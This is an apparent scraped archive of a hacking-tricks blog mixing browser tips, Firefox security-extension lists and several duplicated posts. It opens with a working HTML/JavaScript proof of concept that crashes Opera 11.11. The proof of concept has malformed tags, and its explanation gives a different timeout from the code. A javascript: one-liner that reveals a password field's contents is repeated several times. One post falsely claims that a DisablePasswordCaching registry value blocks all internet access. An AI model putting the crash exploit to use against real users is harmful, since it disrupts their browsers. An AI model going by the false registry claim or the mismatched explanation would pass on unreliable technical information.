Opera 11.11 Crash Vulnerabilty Discussion
1
2
3
4
5
6
7
8
9
10
11
12
13
|
<html>
<body>
<iframe src='about:blank' id='bo0om' style="width:0px;height:0px;border:0px none;">iframe>
<script type="text/javascript" language="javascript">
var a = window.document.getElementById('bo0om');
var b =
a.contentDocument.createElement('font');
a.src='about:blank';
setTimeout('b.face = "h3h";',100);
script>
body>
html>
|
1.
As you can see, we had taken an iframe with id =bo0om with no source code, no height and no width.
2.
4.
Now setting the timeout to be 500ms, we are asking our page to load “h3h” into font element of iframe bo0om, (b.face or we can say a.font.face or ultimately bo0om.font.face= ‘h3h’).
12:40 PM 0
Enhance Your Browsing Experience With Hyperwords
While browsing it is easy to find information that you would like to know more about, convert, or translate. The Hyperwords extension provides access to these types of resources and more in Firefox.
Using Hyperwords
Once the extension has finished installing you will be presented with a demo video that will let you learn more about how Hyperwords works.
For our first example we chose to look for more information concerning “WASP-12b” using Wikipedia. Notice the small bluish circle on the lower right of the highlighted term…it is the default access for the Hyperwords menu (access by hovering mouse over it).
If you hover over the Wikipedia (or other) link you can access the information in a scrollable popup window.
Or if you prefer click on the link to view the information in a new tab. Choose the style that best suits your needs.
Hyperwords is extremely useful for quick unit conversions.
Suppose you want to share a news story that you have found while browsing. Highlight the title, access Hyperwords, and choose your preferred sharing source.
You may need to authorize access for Hyperwords to post to your account.
Once you have authorized access you can start sharing those links very easily. This is just a small sampling of Hyperwords many useful features.
Preferences
Hyperwords has a nice set of preferences available to help you customize it. Alter the menu popup style, add or remove menu entries, and modify other functions for Hyperwords.
Conclusion
Hyperwords makes a nice addition to Firefox for anyone needing quick access to search, reference, translation, and other services while browsing.
Links
Download the Hyperwords extension (Mozilla Add-ons)
Download the Hyperwords extension (Extension Homepage)
8:47 PM 0
Use Firefox As Your Ethical Hacking Platform And Toolkit
shopping, working, “VoIPying”, spying other people and for sure auditing remote systems.
their pentests and audit assessments. But what happens if you find yourself weaponless.
No more Top 100 security tools, no more LiveCDs and no more exploitation frameworks. A security auditor
without toolbox is like a cop without gun.
The magical solution could be Firefox and its extensions developed by ethical hackers and coders.
This article comes as an update for what we posted previously about how to switch your Firefox to more than an usual simple browser. It was about application auditing.
Here is an updated list of useful security auditing extensions:
Information gathering
● Whois and geo-location
custom services by IP (right mouse button) and Hostname (left mouse button), like whois,
netcraft.
o Shazou : The product called Shazou (pronounced Shazoo it is Japanese for mapping)
enables the user with one-click to map and geo-locate any website they are currently
viewing.
o HostIP.info Geolocation : Displays Geolocation information for a website using hostip.info
data. Works with all versions of Firefox.
o Active Whois : Starting Active Whois to get details about any Web site owner and its host
server.
o Bibirmer Toolbar : An all-in-one extension. But auditors need to play with the toolbox. It
includes (WhoIs, DNS Report, Geolocation, Traceroute, Ping). Very useful for information
gathering phase
o Header Spy : Shows HTTP headers on statusbar
o Header Monitor : This is Firefox extension for display on statusbar panel any HTTP
response header of top level document returned by a web server. Example: Server (by
default), Content-Encoding, Content-Type, X-Powered-By and others.
● Social engineering
o People Search and Public Record : This Firefox extension is a handy menu tool for
investigators, reporters, legal professionals, real estate agents, online researchers and
anyone interested in doing their own basic people searches and public record lookups as
well as background research.
● Googling and spidering
o Advanced dork : Gives quick access to Google’s Advanced Operators directly from the
context menu. This could be used to spider a site or scan for hidden files (this spider
technique is used via scroogle.org)
o SpiderZilla : Spiderzilla is an easy-to-use website mirror utility, based on Httrack from
www.httrack.com.
o View Dependencies : View Dependencies adds a tab to the "page info" window, in which it
lists all the files which were loaded to show the current page. (useful for a spidering
technique)
Security Assessment / Code auditing
● Editors
o JSView : The ’view page source’ menu item now opens files based on the behaviour you
choose in the jsview options. This allows you to open the source code of any web page in
a new tab or in an external editor.
o Cert Viewer Plus : Adds two options to the certificate viewer in Firefox or Thunderbird: an
X.509 certificate can either be displayed in PEM format (Base64/RFC 1421, opens in a new
window) or saved to a file (in PEM or DER format - and PKCS#7 provided that the
respective patch has been applied - cf.
o Firebug : Firebug integrates with Firefox to put a wealth of development tools at your
fingertips while you browse. You can edit, debug, and monitor CSS, HTML, and JavaScript
live in any web page
o XML Developer Toolbar : Allows XML Developer’s use of standard tools all from your
browser.
● Headers manipulation
o HeaderMonitor : This is Firefox extension for display on statusbar panel any HTTP response
header of top level document returned by a web server. Example: Server (by default),
Content-Encoding, Content-Type, X-Powered-By and others.
o RefControl : Control what gets sent as the HTTP Referrer on a per-site basis.
o User Agent Switcher : Adds a menu and a toolbar button to switch the user agent of the
browser
● Cookies manipulation
o Add N Edit Cookies : Cookie Editor that allows you add and edit "session" and saved
cookies.
o CookieSwap : CookieSwap is an extension that enables you to maintain numerous sets or
"profiles" of cookies that you can quickly swap between while browsing
o httpOnly : Adds httpOnly cookie support to Firefox by encrypting cookies marked as
httpOnly on the browser side
o Allcookies : Dumps ALL cookies (including session cookies) to Firefox standard cookies.txt
file
● Security auditing
o HackBar : This toolbar will help you in testing SQL injections, XSS holes and site security. It
is NOT a tool for executing standard exploits and it will NOT teach you how to hack a site.
Its main purpose is to help a developer do security audits on his code.
o Tamper Data : Use “tamper data” to view and modify HTTP/HTTPS headers and post
parameters.
o Chickenfoot : Chickenfoot is a Firefox extension that puts a programming environment in
the browser’s sidebar so you can write scripts to manipulate web pages and automate web
browsing. In Chickenfoot, scripts are written in a superset of JavaScript that includes
special functions specific to web tasks.
Tuning Firefox to an Ethical Hacking Platform
Proxy/web utilities
● FoxyProxy : FoxyProxy is an advanced proxy management tool that completely replaces Firefox’s
proxy configuration. It offers more features than SwitchProxy, ProxyButton, QuickProxy, xyzproxy,
ProxyTex, etc
● SwitchProxy : SwitchProxy lets you manage and switch between multiple proxy configurations
quickly and easily. You can also use it as an anonymizer to protect your computer from prying eyes
● POW (Plain Old WebServer) : The Plain Old Webserver uses Server-side JavaScript (SJS) to run a
server inside your browser. Use it to distribute files from your browser. It supports Server-side JS,
GET, POST, uploads, Cookies, SQLite and AJAX. It has security features to password-protect your
site. Users have created a wiki, chat room and search engine using SJS.
Misc
● Hacks for fun
o Greasemonkey : Allows you to customize the way a webpage displays using small bits of
JavaScript (scripts could be download here)
● Encryption
o Fire Encrypter : FireEncrypter is a Firefox extension which gives you encryption/decryption
and hashing functionalities right from your Firefox browser, mostly useful for developers or
for education & fun.
Malware scanner
● QArchive.org web files checker : Allowing people to check web files for any malware (viruses,
trojans, worms, adware, spyware and other unwanted things) inclusions.
● Dr.Web anti-virus link checker : This plugin allows you to check any file you are about to download,
any page you are about to visit
● ClamWin Antivirus Glue for Firefox : This extension scans every downloaded file automatically with
ClamWin.
Anti Spoof
● refspoof : Easy to pretend to origin from a site by overriding the URL referrer (in a http request). —
It incorporates this feature by using the pseudo-protocol spoof:// .. Thus it’s possible to store the
information in a "hyperlink" - that can be used in any context... like html pages or bookmarks
Feel free to send us (upgoingstar@yahoo.co.in) any useful information about security and audit oriented
Firefox extensions.
10:23 AM 0
How To Reveal Password Characters Behind Asterisks Using Javascript - Latest Hacking Tricks
Follow the steps given below-
1) Open the Login Page of any website. (eg. http://mail.yahoo.com)
2) Type your 'Username' and 'Password'.
Want to Reveal the Passwords Hidden Behind Asterisk (****) ?
Follow the steps given below-
1) Open the Login Page of any website. (eg. http://mail.yahoo.com)
2) Type your 'Username' and 'Password'.
3) Copy and paste the JavaScript code given below into your browser's address bar and press 'Enter'.
javascript: alert(document.getElementById('Passwd').value);
4) As soon as you press 'Enter', A window pops up showing Password typed by you..!
Note :- This trick may not be working with firefox.
9:38 AM 1
Include Your Signature To Your Blog Posts : Learn Latest Computer And Mobile Hacking Tricks
And then upload it to your web host, I used Picasa Web Album, to get url address.
And then go to Settings > Formating > Post Template
And paste this code to that Post Template box:
<p><image class="centered"alt="post signature" src="Your image url" /></p>
10:22 AM 1
Ajax IM Browser-based instant messaging client
AJAX IM (“asynchronous JavaScript and xml based instant messenger”) is a browser-based instant messaging client that allow you to creates a real-time chat environment with a browser based interface. you can use it freely on your website projects or web applications.
It uses the XMLHTTP Request object in JavaScript to send and receive commands to and from the server. No refreshing of the page is ever needed for this “web application” to work, as everything is updated in real-time via JavaScript.
Ajax IM is multiplatform, multilingual instant messaging client and language files can be found in the Ajax IM website.
Requirement: PHP, MySQL
Website: http://www.ajaxim.com/
Backend Demo: http://www.ajaxim.net/
Backend Demo – User-Pass: User: test – Pass: test
Download: http://www.ajaxim.com/
7:14 AM 0
Spider The Web With Mozilla Firefox
If a web page is precious, a simple bookmark might not be enough. You might want to keep a copy of the page locally. This hack explains how to save lots of things at once with Firefox. Usually this kind of thing is done by a web spider. A web spider is any program that poses as a user and navigates through pages, following links.
For heavy-duty web site spidering done separately from Firefox, Free Download Manager (http://www.freedownloadmanager.org) for Windows and wget(1) for Unix/Linux (usually preinstalled) are recommended.
Save One Complete Page
The days of HTML-only page capture are long gone. It's easy to capture a whole web page now.
Saving using Web Page Complete
To save a whole web page, choose File Save Page As... and make sure that "Save as type:" is set to Web Page Complete. If you change this option, that change will become the future default only if you complete the save action while you're there. If you back out without saving, the change will be lost. When the page is saved, an HTML document and a folder are created in the target directory. The folder contains all the ancillary information about the page, and the page's content is adjusted so that image, frame, and stylesheet URLs are relative to that folder. So, the saved page is not a perfect copy of the original HTML. There are two small oddities to watch out for:
-
On Windows, Windows Explorer has special smarts that sometimes treat the HTML page and folder as one unit when file manipulation is done. If you move the HTML page between windows, you might see the matching folder move as well. This is normal Windows behavior.
-
If the page refers to stylesheets on another web site using a tag, these stylesheets will not be saved. As a result, Firefox will attempt to download these stylesheets each time the saved HTML copy is displayed. This will take forever if no Internet connection is present. The only way to stop this delay is to choose File Work Offline when viewing such files.
Saving using Print
One problem with saved web pages is that the copy is just a snapshot in time. It's difficult to tell from a plain HTML document when it was captured. A common technique that solves this problem and keeps all the HTML content together is to use Acrobat Distiller, which comes with the commercial (nonfree) version of Acrobat Reader.
When Distiller is installed, it also installs two printer drivers. The important one is called Acrobat PDFWriter. It can convert an HTML page to a single date-stamped PDF file. Although such PDF files are large and occasionally imperfect, the process of capturing web pages this way is addictive in its simplicity, and the files are easy to view later with the free (or full) Reader. The only drawback is that PDF files can be quite large compared to HTML.
To save web pages as PDF files, choose File Print... from the Firefox menu, choose Adobe PDFWriter as the device, and select the Print to File checkbox. Then, go ahead and print; you'll be asked where to save the PDF results.
Save Lots of Pages
To save lots of Web pages, use an extension. The Download Tools category at http://update.mozilla.org lists a number of likely candidates. Here are a few of them.
4.11.2.1 Down Them All
The Down Them All extension (http://downthemall.mozdev.org), invoked from the context menu, skims the current page for foreign information and saves everything it finds to local disk. It effectively acts as a two-tier spider. It saves all images linked from the current page, as well as all pages linked to from the current page. It doesn't save stylesheets or images embedded in linked-to pages.
Two of the advantages of Down Them All are that it can be stopped partway through, and download progress is obvious while it is underway.
Magpie
The Magpie extension (http://www.bengoodger.com/software/tabloader/) provides a minimal interface that takes a little getting used to. For spidering purposes, the context menu items that Magpie adds are not so useful. The special keystroke Ctrl-Shift-S, special URLs, and the Magpie configuration dialog box are the key spidering features.
To find the Magpie configuration system, choose Tools Extensions, select the Magpie extension, and then click Options.
Using this dialog box, you can set one of two options for Ctrl-Shift-S (detailed in the radio group at the top). Everything else in this window has to do with folder names to be used on local disk.The first time you press Ctrl-Shift-S, Firefox asks you for the name of an existing folder in which to put all the Magpie downloads. After that, it never asks again.
By default, Ctrl-Shift-S saves all tabs to the right of the current one and then closes those tabs. That is one-tier spidering of one or more web pages, plus two-tier spidering for any linked images in the displayed pages.
If the "Linked from the current page..." option is selected instead, then Magpie acts like Down Them All, scraping all images (or other specified content) linked from the current page.
In both cases, Magpie generates a file with the name YYYY-MM-DD HH-MM-SS (a datestamp) in the target directory and stuffs all the spidered content in there.
The other use of Magpie is to download collections of URLs that have similar names. This is like specifying a keyword bookmark, except that only numbers can be used as parameters and they must be hand specified as ranges. For example, suppose these URLs are required:
http://www.example.com/section1/page3.html
http://www.example.com/section1/page4.html
http://www.example.com/section2/page3.html
http://www.example.com/section2/page4.html
Using the special bkstr: URL scheme (an unofficial convenience implemented by Magpie), these four URLs can be condensed down to a single URL that indicates the ranges required:
bkstr://ww.example.com/section{1-2}/page{3-4}.html
Retrieving this URL retrieves the four pages listed directly to disk, with no display. This process is also a one-tier spidering technology, so retrieved pages will not be filled with any images to which they might refer. This technique is most useful for retrieving a set of images from a photo album or a set of documents (chapters, minutes, diary entries) from an index page.
Slogger
Rather than saving page content on demand, the Slogger extension (http://www.kenschutte.com/firefoxext/) saves every page you ever display. After the initial install, the extension does nothing immediately. It's only when you highlight it in the Extensions Manager, click the Options box, and choose a default folder for the logged content that it starts to fill the disk. The configuration options are numerous, and Perl-like syntax options make both the names of the logged files and the content of the log audit trail highly customizable.
Since Slogger saves only what you see, how well it spiders depends on how deeply you navigate through a web site's hierarchy. Note that Mozilla's history mechanism works the same way as Slogger, except that it stores downloaded web pages unreadably in the disk cache (if that's turned on), and that disk cache can be flushed or overwritten if it fills up.
Learning from the Master
Bob Clary's CSpider JavaScript library and XUL Spider application are the best free tools available for automating web page navigation from inside web pages. You can read about them here: http://www.bclary.com/2004/07/10/mozilla-spiders.
These tools are aimed at web programmers with a systematic mindset. They are the basis of a suite of web page compatibility and correctness tests. These tools won't let you save anything to disk; instead, they represent a useful starting point for any spidering code that you might want to create yourself.
4:08 AM 0
Integrate Firefox With Other Tools
If you're moving over to Firefox from Mozilla, you've surely noticed how Firefox is built to be a sleeker, faster browsing engine. It accomplishes this in part by shedding all of its counterparts from the Mozilla Suite, including an email/news client, composer, and chat client. But that doesn't mean this functionality is no longer available. With a few extensionsor with no work at allyou can make Firefox integrate with your email client as though it were still part of a suite. You don't have to stop there, either; at least one valuable extension gives you the power to connect Firefox with virtually any program on your system.
Integrate Email and News
Firefox does not include a mail client: this functionality has been outsourced to its cousin, Thunderbird. However, a quick glance at some of the menu options might make you think the Firefox developers didn't get that memo:
- FileSend Link
-
For emailing the current URL
- ToolsNew Message
-
For composing a new email message (Windows only)
- ToolsRead Mail
-
For opening your mail client to read new messages (Windows only)
In addition to these menu items, there are frequent mailto: or news: links on the Web that should allow you to send an email message or read a newsgroup. Firefox contains just enough glue to pass all these potential actions on to another program.
The good news is that if you have a default mail program set up on your operating system, all of these functions will integrate seamlessly with that program without any additional work. (The process for defining a default mail program varies according to operating system.)
If you are running Firefox on Unix/Linux and you don't have a default mail program set up on Linux, or if you want Firefox to use a different program, you can integrate Firefox with your mail program by setting the following preferences:
network.protocol-handler.external.mailto /* set to true, no default */
network.protocol-handler.app.mailto
/* set to filepath, no default */
For example, if you want Linux Firefox to launch Thunderbird when you click on a mailto: link, set the network.protocol-handler.app.mailto preference to the following filepath, if that happens to be where Thunderbird's startup program is located:
/usr/local/bin/thunderbird/thunderbird
To do the same thing for links that use the news:, snews:, or nntp: protocols, verify that the following preferences are set to true:
network.protocol-handler.external.news
network.protocol-handler.external.snews
network.protocol-handler.external.nntp
Then, set one or more of these matching preferences to the name of your newsreader:
network.protocol-handler.app.news
network.protocol-handler.app.snews
network.protocol-handler.app.nntp
Another option for handling mailto: links is to use the Launchy extension, as discussed in Section 4.9.4, later in this hack.
If you prefer to use a web mailer, such as Gmail or Hotmail, there's a solution for that, too. The Webmailcompose extension (http://jedbrown.net/mozilla/) allows you to override the behavior of mailto: links by directing you to a web mail provider of your choice. It also replaces the various mail-related menu options with a list of supported services from which you can choose.
4.9.2. Integrate Email Message Counts
On Windows operating systems, there are two additional items under the Tools menu: Read Mail and New Message. The New Message button will start a new message in your default mail client (or whatever client you have chosen to override the default), just as though you had clicked on a mailto: link with no recipient. The Read Mail option does the same thing, except that it also displays how many new unread messages you have. That might seem curious, given that Firefox has no mail functionality of its own.
In fact, you might find that it indicates you have 125 new messages, but you've already checked and are sure you don't. Or maybe it reads "(0 new)," even when you know you have unread mail waiting for you.
The problem here is that Firefox is not actually checking to see if you have new mail but rather is relying on Windows to provide this information. More specifically, Firefox is looking in the Windows Registry for the key HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\UnreadMail. If the key exists, it queries the MessageCount registry property for the default mail account (or the first one that is listed if there is no default). This property is updated by mail utilities such as Outlook Express. It is not used by Thunderbird or other third-party mail clients. Therefore, the text in the Tools menu will be accurate only if your mail client tells Windows this information on a regular basis.
Integrate IRC
If you're a fan of Chatzilla, the native IRC client for Mozilla, you'll be happy to know it's only a click away. The Chatzilla extension for Firefox (http://update.mozilla.org, under the Chat category) will provide you with the same functionality, sidebar and all.
Integrate Everything Else with Launchy
The Launchy extension (http://gemal.dk/mozilla/launchy.html), shown in Figure 4-19, is a veritable Swiss Army knife when it comes to integrating Firefox with other programs. It provides you with a new context menu for pages, links, and images, giving you the ability to open these items in any of dozens of recognized external programs. On Windows, these programs are all discovered automatically, but you can customize the list and even add your own on any operating system.
Launchy is an ideal way to handle all kinds of integration points that are otherwise unavailable in Firefox. For instance, if you want to edit the current web page, you can use the Launchy context menu to send the page source to Mozilla Composer or NVu. If you're on a page with an extremely large image, you can send it to Photoshop for better viewing or editing with a single click.
If you're forced to use a web site that has the audacity to only work in Internet Explorer, perhaps the best feature of Launchy is its ability to send the page straight to Internet Explorerbut hopefully, this won't ever happen to you!
4:06 AM 0
Fix Web Servers to Support Firefox Content
Firefox supports more varied content than just that of web pages. In addition to the big world of XUL-based applications, there are a number of configuration and security content types that can be delivered to the browser. This Hack explains how to set up Apache so that all these types are delivered with the right Content-Type. It also explains what to do about broken versions of Internet Explorer.
Configuring Firefox Content Types in Apache
The following MIME types are the ones most commonly used by Firefox. Update your Apache httpd.conf file to include these directives, and then restart httpd or signal it to reread the config files.
Support for HTML content types:
AddType application/xhtml+xml .xhtml
AddType application/http-index-format .hti
AddType text/html .html
AddType text/css .css
AddType text/xsl .xslt
AddType application/x-javascript .js
Support for other presentable XML content:
AddType application/xml .xml /* or .. */
AddType text/xml .xml
AddType image/svg+xml .svg
Mozilla does not use the MIME type required for pure MathML; such content should be delivered inside a compound document identified as XHTML or XML.
Support for remote XUL and RDF:
AddType application/vnd.mozilla.xul+xml .xul
AddType application/rdf+xml .rdf
Support for delivery of extensions, patches and configuration items:
AddType application/x-xpinstall .xpi
AddType application/x-javascript-config .cfg .jsc
Support for server delivery of certificates, either for certificate-database install or for immediate use as data:
AddType application/x-x509-ca-cert .x509ca
AddType application/x-x509-server-cert .x509sv
AddType application/x-x509-crl .x509_crl # OSCP
AddType application/x-x509-user-cert .x509ua
AddType application/x-x509-email-cert .x509em
AddType application/x-pkcs7-crl .pk7_crl
AddType application/pkix-crl .pk_crl
AddType application/x-pkcs7-mime .pk7m_crl
AddType application/pkcs7-signature .pk7_sig
AddType application/pkix-crl .pk_crl
AddType application/ocsp-response .ocsp
Filename extensions are merely suggestive in this case; most content of these types will likely be generated by a server program rather than delivered directly from flat files.
Supporting Both Standards and Internet Explorer
All modern browsers, except for all Internet Explorer (IE) versions, can handle XHTML content delivered with the correct application/xhtml+xml MIME type. Generally speaking, IE can't handle this case. Something has to be done to accommodate that. In the past, all XHTML content was delivered as text/html for IE's benefit. Now that many standards-oriented browsers are gaining in market share, it's time to reduce IE to a special case and deliver the correct content types by default.
The XHTML standard does allow XHTML 1.0 to be delivered as text/html. This is a stopgap measure that works for all browsers. The XHTML standard does not allow this trick for XHTML 1.1 content or higher. That means that there is no standards-based fix available for most IE versions for XHTML 1.1 or higher. The only available solution is to hack the Windows Registry so that content with application/xhtml+xml is treated as text/html. See http://juicystudio.com/xhtml-registry-hack.asp for details. To make the server lie when required, try the following code snippets.
3.7.2.1 PHP content rewriter
These tests pick up all the weird variants of IE, including Pocket PC versions, and replace the true content type with a lie for IE:
For more complete browser-sniffing code, visit http://www.apptools.com/phptools/browser/source.php.
Perl CGI content rewriter
Similarly, here's the rewriter in Perl:
use CGI;
my ($query,$broken) = (0, false);
$query = new CGI;
$query->use_named_parameters(1);
$broken = $query->http("HTTP_USER_AGENT") =~ /pocket/i;
$broken = ... # as for PHP
print "Content-type: application/xhtml+xml\n\n" if not $broken;
print "Content-type: text/html\n\n" if $broken;
# ... and so on.
Native Apache rewriter
For static files, use Apache's mod_rewrite module, which must be configured and enabled before it is usable. The obscure code required for the IE lie is:
RewriteEngine on
RewriteBase /
RewriteCond %{HTTP_USER_AGENT} pocket [nocase,ornext]
RewriteCond %{HTTP_USER_AGENT} mspie [nocase,ornext]
RewriteCond %{HTTP_USER_AGENT} pocket [nocase,ornext]
RewriteCond %{HTTP_USER_AGENT} msie [nocase]
RewriteCond %{HTTP_USER_AGENT} !msie.*opera [nocase]
RewriteCond %{HTTP_USER_AGENT} !opera.*msie [nocase]
RewriteCond %{REQUEST_URI} \.xhtml$
RewriteCond %{THE_REQUEST} HTTP/1\.[^0]
RewriteRule .* - [type=text/html]
4:01 AM 0
How To Dial-Up Automatically On Startup
Save yourself from having to hand-connect to the Internet before surfing with Firefox.
This hack explains how to automatically dial up your ISP when Firefox starts. Disconnecting is more problematic. Attack that using timeout configuration items provided by the operating system. If you want Firefox to auto-dial for you, this preference must be left on:
network.autodial-helper.enabled /* default = true */
Windows 95/98/98SE/ME
Dial-up technology under these Windows versions has a top layer called Dial Up Networking (DUN). To get this working without fail, make a copy of a Firefox desktop shortcut and change the copy. Change the specified firefox.exe program to run firefox.bat instead. Create that .bat file with these contents:
@echo off
start /B /MIN /W rundll32.exe rnaui.dll,RnaDial "connectoid"
firefox.exe
The string connectoid is the name of the connection icon in the Dial-Up Networking folder. It is case-sensitive. Do not use the name of a desktop shortcut that points to the connection icon. Change the name displayed on the new desktop icon to Firefox Internet or similar.
This fix always works, but there is an alternate way. Firefox has a File Work Offline menu option. If Firefox is started in Offline mode, changing it to Online mode will instruct Firefox to always dial the ISP for you.
It is also possible to make Firefox dial the ISP if the first web page request (such as the home page) fails. In order for this to happen, extra Windows setup is required. In the Internet Options Control Panel item, in the Connections tab, choose any radio button other than the one labeled "Never dial a connection."
Windows NT/2000/XP
Top-level dial-up technology under these Windows versions is called Remote Access Services (RAS). It should be started automatically when any program, including Firefox, attempts to access the Internet. If that's not working for you, check that the RAS Connection Manager and RAS Auto Connection Manager services are enabled using the Services icon in the Control Panel. The rules are otherwise the same as under 95/98/98SE/Me.
If it still isn't working, make a copy of a Firefox desktop shortcut and change the copy. Change the specified firefox.exe program to firefox.bat. Create that .bat file with these contents:
@echo off
start /B /MIN /W rasdial.exe "connectoid"
firefox.exe
The string connectoid is the name of the connection icon, as described in the previous section. It is case-sensitive. Do not use the name of a desktop shortcut that points to the connection icon. To suppress the dialog that prompts for your ISP login details, try this instead:
@echo off
start /B /MIN /W rasdial.exe "connectoid" "username" "password"
firefox.exe
|
3.6.3. Mac OS X
Automatic PPP dial-up under OS X is handled through System Preferencesthe same as automatic Internet connection of all types. To set it up, choose System Preferences under the Apple menu and follow these steps:
-
Click on the Network icon, in the Internet & Network group.
-
From the Show pop-up menu near the top of the window, select your modem.
-
Make sure the PPP tab is selected and click on the PPP Options... button near the bottom of the panel.
-
Tick the first checkbox labeled "Connect automatically when needed."
-
Click OK, and you're all set up.
3.6.4. Linux/Unix
To dial up before Firefox starts, just wrap the command-line call to Firefox in a shell script. Before you're ready to go, you must have the following things in place:
-
Modem hardware that's known (usually present; test with kudzu --probe)
-
Serial and PPP drivers in the kernel (usually present; test with modprobe -l)
-
Correct serial devices in /dev (usually present)
-
Software for PPP, such as pppd (usually present)
-
Software for DHCP, such as dhcpd (usually present)
For example, under Red Hat Fedora Core, much of the work is automated for you. Run this GUI tool and review the information in its help system:
/usr/bin/system-config-network
If no profile is defined for the modem, use the GUI to create one. In the DNS tab, clear all the DNS entries except for DNS Search Path. Enter the ISP's domain name here, making sure the IP address is also recorded, either in the /etc/hosts file or using the tool:
/usr/bin/system-config-bind
If dial-up access via DHCP has been started, Linux DHCP will usually overwrite the /etc/resolv.conf file, which can affect or ruin any existing DNS arrangements that you might have in place.
To configure and run dial-up by hand, configure dhcpd.conf to contain the ISP's DNS and IP Address information. Identify the tty in /dev that matches the modem, and simply run:
pppd /dev/modemtty
dhcpd
Those commands can go in the wrapper script that starts Firefox.
3:58 AM 0
How To Surf Anonymously In Mozilla Firefox
Here are some ways to reduce the amount of information that web sites and other onlookers find out about you.
2.12.1. Basic Web Surfing Strategies
If you want maximum privacy, follow all of these rules:
-
Never fill in web forms that request names, addresses, credit card information, or any geographic or demographic information. Never fill in online questionnaires. Never join a singles site. Never buy anything.
-
Never download any programs, demos, or novelty animations from the Internet.
-
Never provide your email address. Never use your email address in bulletin boards, newsgroups, message boards, IRC, or anywhere else.
-
Don't use Windows or Linux/Unix with automatic operating system updates turned on.
-
Never use an Internet Service Provider (ISP) that supplies you with a fixed IP address; it should be a DHCP address that's different each time you use it.
If having a known IP address or a known IP subnet bothers you, consider using services such as Anonymizer (http://www.anonymizer.com) for maximum anonymity. Before using such services, you must first persuade yourself that they are an organization that will credibly protect your privacy. You are using them as a portal for all your activities, after all.
2.12.2. Firefox Changes to Support Anonymity
In addition to careful web surfing, here are some concrete changes you can make to Firefox:
-
Turn off all cookie support by checking the box in the Privacy panel of the Options dialog box.
-
Carefully examine the installation for each plug-in you use. Don't let the plug-in send personal information back to those who deliver plug-in content. Ideally, delete all plug-ins, except the default plug-in file, from the Firefox profile and the install areas. The default plug-in file is named npnul32.dll (Windows) or libnullplugin.so (Linux).
-
Examine your configuration of Adobe Acrobat carefully. Don't let it connect to servers or send form data.
-
Review the extensions you've chosen to install; uninstall any that might have server connectivity.
-
Stop all secret network activity [Hack #13] .
Finally, you can fool web sites into thinking you're using another browser. If you do so, the content set by the sites might change and the page display might not be exactly what you expected. This preference changes the User Agent that identifies Firefox:
general.useragent.override /* set to string */
A typical string for a Windows version of Firefox reads:
Mozilla/5.0 (Windows; U; WinXP; rv:1.7.3) Gecko/20040913 Firefox/0.10.1
For best results, leave the words Mozilla and Gecko intact. Here's the string for Internet Explorer 6.0 on Windows XP (you can masquerade as that browser if you have nothing better to do):
Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
3:49 AM 0
Add GreaseMonkey AddOn To Ur FireFox For Best Hacking Results : Hacking Tricks
http://greasemonkey.mozdev.org/
Read the docs before you install, as usual. :-)
10:35 AM 0
How to enable Java Through Your Browser
For Internet Explorer 4.x and Up
1. Click "Tools" --> "Internet Options"
2. Select the Advanced Tab, and scroll down to "Java (Sun)"
3. Check the box next to the Java version
4. Next, select the Security Tab, and select the "Custom Level" button
5. Scroll down to "Scripting of Java applets"
6. Make sure the "Enable" radio button is checked.
7. Click OK to save your preference.
Mozilla 1.x
1. From the menu bar, choose Edit --> Preferences
2. Select the Advanced category
3. Check the box labeled "Enable Java"
4. Click OK to save your preference.
Netscape 7.x
1. From the menu bar, choose Edit --> Preferences
2. Select the Advanced category
3. Check the box labeled "Enable Java"
4. Click OK to save your preference.
Netscape 4.x
1. From the menu bar, choose Edit --> Preferences
2. Select the Advanced category
3. Select "Certificates"
4. Check the box labeled "Enable Java"
5. Check the box labeled "Enable Java Plug-in"
6. Click OK to save your preference.
Other Web Browsers Firefox 0.8 and Up
1. Start Mozilla Firefox browser or restart it if it is already running.
2. Select Tools > Options.
3. Dialog box: Options
4. Click Web Features > Select Enable Java
AOL 3.x and Up
Please refer to our Help page on AOL Issues with Java software. Opera 4.x and Up
1. Opera for Windows does not use Java, but an embedded version already inside the Opera Web browser.
2. Opera for other platforms may supports Java . Please consult your Opera platform documentation.
3. For further information, please review the following Opera Support article:
8:32 PM 0
Reveal Passwords Behind *** Asterisks - Learn Latest Computer And Mobile Hackign Tricks
Follow the steps given below-
1) Open the Login Page of any website. (eg. http://mail.yahoo.com)
2) Type your 'Username' and 'Password'.
3) Copy and paste the JavaScript code given below into your browser's address bar and press 'Enter'.
javascript: alert(document.getElementById('Passwd').value);
4) As soon as you press 'Enter', A window pops up showing Password typed by you..!
Note :- This trick may not be working with firefox
4:41 AM 0
Get **** Asterisks Password From Browsers- Learn Latest Computer And Mobile Hacking Tricks
Go get it..
1) Open the Login Page of any website. (eg. http://mail.yahoo.com)
2) Type your 'Username' and 'Password'.
3) Copy and paste the JavaScript code given below into your browser's address bar and press 'Enter'.
javascript: alert(document.getElementById('Passwd').value);
4) As soon as you press 'Enter', A window pops up showing Password typed by you..!
5:58 AM 2
Disable Fully Internet - Learn Latest Computer And Mobile Hacking Tricks
Click Start, click Run, type regedit, and then click OK. Locate and then click the following registry subkey:
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings .
On the Edit menu, click New, and then click DWORD Value.
Now u type DisablePasswordCaching to name the new registry entry,
and then press ENTER.
Right-click DisablePasswordCaching,
and then click Modify.
type 1 in the Value data box,
and then click OK.
enjoy now no one can connect the net from your pc
9:29 AM 0
10 Latest Tricks And Tips For Making Your Firefox Go fast And Speed Up Your Browsing - learn Latest Computer And Mobile Hacking Tricks
1)More screen space. Make your icons small. Go to View - Toolbars - Customize and check the “Use small icons” box.
2) Smart keywords. If there’s a search you use a lot (let’s say IMDB.com’s people search), this is an awesome tool that not many people use. Right-click on the search box, select “Add a Keyword for this search”, give the keyword a name and an easy-to-type and easy-to-remember shortcut name (let’s say “actor”) and save it. Now, when you want to do an actor search, go to Firefox’s address bar, type “actor” and the name of the actor and press return. Instant search! You can do this with any search box.
3)Keyboard shortcuts. This is where you become a real Jedi. It just takes a little while to learn these, but once you do, your browsing will be super fast. Here are some of the most common (and my personal favs):
* Spacebar (page down)
* Shift-Spacebar (page up)
* Ctrl+F (find)
* Alt-N (find next)
* Ctrl+D (bookmark page)
* Ctrl+T (new tab)
* Ctrl+K (go to search box)
* Ctrl+L (go to address bar)
* Ctrl+= (increase text size)
* Ctrl+- (decrease text size)
* Ctrl-W (close tab)
* F5 (reload)
* Alt-Home (go to home page)
